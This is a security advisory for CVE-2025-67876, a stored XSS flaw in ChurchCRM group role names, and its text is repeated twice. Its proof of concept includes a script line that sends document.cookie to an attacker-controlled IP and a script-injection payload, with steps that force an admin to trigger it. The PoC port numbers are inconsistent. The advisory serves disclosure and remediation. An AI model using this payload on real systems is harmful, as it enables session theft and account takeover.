9.3
/ 10
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/SC:H/VI:H/SI:H/VA:L/SA:L
Description
ChurchCRM versions 6.4.0 and below suffer from persistent cross site scripting vulnerability in group role name assignment...
Basic Information
ID
PACKETSTORM:218768
Published
Apr 13, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2025-67876: ChurchCRM has Stored XSS in Group Role Name Leading to Admin Session Hijacking
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2025-67876](https://nvd.nist.gov/vuln/detail/CVE-2025-67876) |
| **Severity** | CRITICAL |
| **Advisory** | [View Advisory](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **ChurchCRM/CRM**
## Details
### Summary
A stored cross-site scripting (XSS) vulnerability exists in ChurchCRM that allows a low-privilege user with the โManage Groupsโ permission to inject persistent JavaScript into group role names. The payload is saved in the database and executed whenever any user (including administrators) views a page that displays that role, such as GroupView.php or PersonView.php. This allows full session hijacking and account takeover.
### Details
The root cause is a lack of input validation and output encoding in the handling of group role names.
When editing a group in GroupEditor.php, the user can modify the role names. The application does not sanitize the input (e.g., no strip_tags, htmlspecialchars, or server-side validation). The value is stored in the list_lst database table.
Later, the stored value is injected directly into HTML without escaping:
- In GroupView.php, group roles appear inside table cells wrapped in <span>.
- In PersonView.php, the user's assigned roles are displayed under โAssigned Groupsโ.
Because no escaping is applied, any HTML or JavaScript stored in the role name is executed in the victimโs browser.
A low-privilege user (with Manage Groups) can therefore escalate privileges to full administrator by injecting JavaScript into a role and assigning that role to an admin.
### PoC
#### Phase 1 - Attacker setup
Create x.js on attacker-controlled machine:
`fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));`
Serve the file:
`python3 -m http.server 800`
#### Phase 2 - Inject the XSS payload
1. Log in as a user with Manage Groups permission.
<img width="2301" height="833" alt="image" src="https://github.com/user-attachments/assets/f5e31c57-033a-46e0-b9fb-efa8e2d95440" />
2. Navigate to:
Groups โ List Groups โ select any group โ Settings.
3. In the โGroup Rolesโ section, edit an existing role or create a new one.
4. Insert malicious payload:
`"><script src=//172.20.0.1:800/x.js></script>`
<img width="1901" height="904" alt="image" src="https://github.com/user-attachments/assets/6b98c5cc-2059-416c-8083-279922637ebf" />
In the Group Roles list, click Default next to the role containing your injected XSS payload.
This ensures that the malicious role will automatically be assigned to any user added to the group, increasing the likelihood that an administrator will trigger the XSS when viewing their profile.
<img width="1893" height="371" alt="image" src="https://github.com/user-attachments/assets/97f973e3-839c-4930-b98e-d7a22653e8f0" />
Click Delete next to the previous default role, typically "Member".
Removing the clean default role forces the system to use the XSS-injected role for all future assignments, guaranteeing execution when the victim views any page that displays their assigned role.
<img width="1892" height="343" alt="image" src="https://github.com/user-attachments/assets/05732ac0-1ff0-4d0b-8e6a-e709037a4005" />
5. Save the role name.
<img width="1718" height="595" alt="image" src="https://github.com/user-attachments/assets/576e31ab-6d1d-4b3e-a6e0-2724d37d06b0" />
#### Phase 3 - Assign the malicious role to a victim
1. Go to the Group View page.
2. Add any user as a group member (e.g., Church Admin).
<img width="945" height="951" alt="image" src="https://github.com/user-attachments/assets/9d7773cf-fee0-4f22-943b-460aa189b993" />
3. Select the malicious role from the dropdown.
4. Save the assignment.
<img width="945" height="548" alt="image" src="https://github.com/user-attachments/assets/7f058565-7289-4362-8bf0-f4ad7cd83ad1" />
#### Phase 4 - Execution of XSS
When the victim (admin) visits:
- Their user profile: PersonView.php
<img width="1721" height="529" alt="image" src="https://github.com/user-attachments/assets/c41d159e-04fb-469d-bbdd-acacc58c9174" />
- The group view page: GroupView.php
The stored JavaScript executes immediately.
On the attacker server, incoming requests will appear:
<img width="1722" height="558" alt="image" src="https://github.com/user-attachments/assets/c07cdc46-cb06-4a74-9481-b31391c43efe" />
<img width="945" height="422" alt="image" src="https://github.com/user-attachments/assets/c3bd73ce-2416-4841-9687-4a1d498ab73b" />
This confirms successful account takeover.
### Impact
- Stored XSS
- Full administrator session hijacking
- Privilege escalation from low-permission user to full system admin
- Exposure of all sensitive personal data stored in ChurchCRM
### CWE
CWE-79: Improper Neutralization of Input During Web Page Generation (โCross-site Scriptingโ)
### Recommendation
- Implement output encoding (htmlspecialchars) for all role name renderings.
- Validate and sanitize role names on server-side.
- Review other list-based editable fields for similar vulnerabilities.
- Consider use of a central escaping library or templating engine.
## References
- https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2025-67876](https://nvd.nist.gov/vuln/detail/CVE-2025-67876) |
| **Severity** | CRITICAL |
| **Advisory** | [View Advisory](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **ChurchCRM/CRM**
## Details
### Summary
A stored cross-site scripting (XSS) vulnerability exists in ChurchCRM that allows a low-privilege user with the โManage Groupsโ permission to inject persistent JavaScript into group role names. The payload is saved in the database and executed whenever any user (including administrators) views a page that displays that role, such as GroupView.php or PersonView.php. This allows full session hijacking and account takeover.
### Details
The root cause is a lack of input validation and output encoding in the handling of group role names.
When editing a group in GroupEditor.php, the user can modify the role names. The application does not sanitize the input (e.g., no strip_tags, htmlspecialchars, or server-side validation). The value is stored in the list_lst database table.
Later, the stored value is injected directly into HTML without escaping:
- In GroupView.php, group roles appear inside table cells wrapped in <span>.
- In PersonView.php, the user's assigned roles are displayed under โAssigned Groupsโ.
Because no escaping is applied, any HTML or JavaScript stored in the role name is executed in the victimโs browser.
A low-privilege user (with Manage Groups) can therefore escalate privileges to full administrator by injecting JavaScript into a role and assigning that role to an admin.
### PoC
#### Phase 1 - Attacker setup
Create x.js on attacker-controlled machine:
`fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));`
Serve the file:
`python3 -m http.server 800`
#### Phase 2 - Inject the XSS payload
1. Log in as a user with Manage Groups permission.
<img width="2301" height="833" alt="image" src="https://github.com/user-attachments/assets/f5e31c57-033a-46e0-b9fb-efa8e2d95440" />
2. Navigate to:
Groups โ List Groups โ select any group โ Settings.
3. In the โGroup Rolesโ section, edit an existing role or create a new one.
4. Insert malicious payload:
`"><script src=//172.20.0.1:800/x.js></script>`
<img width="1901" height="904" alt="image" src="https://github.com/user-attachments/assets/6b98c5cc-2059-416c-8083-279922637ebf" />
In the Group Roles list, click Default next to the role containing your injected XSS payload.
This ensures that the malicious role will automatically be assigned to any user added to the group, increasing the likelihood that an administrator will trigger the XSS when viewing their profile.
<img width="1893" height="371" alt="image" src="https://github.com/user-attachments/assets/97f973e3-839c-4930-b98e-d7a22653e8f0" />
Click Delete next to the previous default role, typically "Member".
Removing the clean default role forces the system to use the XSS-injected role for all future assignments, guaranteeing execution when the victim views any page that displays their assigned role.
<img width="1892" height="343" alt="image" src="https://github.com/user-attachments/assets/05732ac0-1ff0-4d0b-8e6a-e709037a4005" />
5. Save the role name.
<img width="1718" height="595" alt="image" src="https://github.com/user-attachments/assets/576e31ab-6d1d-4b3e-a6e0-2724d37d06b0" />
#### Phase 3 - Assign the malicious role to a victim
1. Go to the Group View page.
2. Add any user as a group member (e.g., Church Admin).
<img width="945" height="951" alt="image" src="https://github.com/user-attachments/assets/9d7773cf-fee0-4f22-943b-460aa189b993" />
3. Select the malicious role from the dropdown.
4. Save the assignment.
<img width="945" height="548" alt="image" src="https://github.com/user-attachments/assets/7f058565-7289-4362-8bf0-f4ad7cd83ad1" />
#### Phase 4 - Execution of XSS
When the victim (admin) visits:
- Their user profile: PersonView.php
<img width="1721" height="529" alt="image" src="https://github.com/user-attachments/assets/c41d159e-04fb-469d-bbdd-acacc58c9174" />
- The group view page: GroupView.php
The stored JavaScript executes immediately.
On the attacker server, incoming requests will appear:
<img width="1722" height="558" alt="image" src="https://github.com/user-attachments/assets/c07cdc46-cb06-4a74-9481-b31391c43efe" />
<img width="945" height="422" alt="image" src="https://github.com/user-attachments/assets/c3bd73ce-2416-4841-9687-4a1d498ab73b" />
This confirms successful account takeover.
### Impact
- Stored XSS
- Full administrator session hijacking
- Privilege escalation from low-permission user to full system admin
- Exposure of all sensitive personal data stored in ChurchCRM
### CWE
CWE-79: Improper Neutralization of Input During Web Page Generation (โCross-site Scriptingโ)
### Recommendation
- Implement output encoding (htmlspecialchars) for all role name renderings.
- Validate and sanitize role names on server-side.
- Review other list-based editable fields for similar vulnerabilities.
- Consider use of a central escaping library or templating engine.
## References
- https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.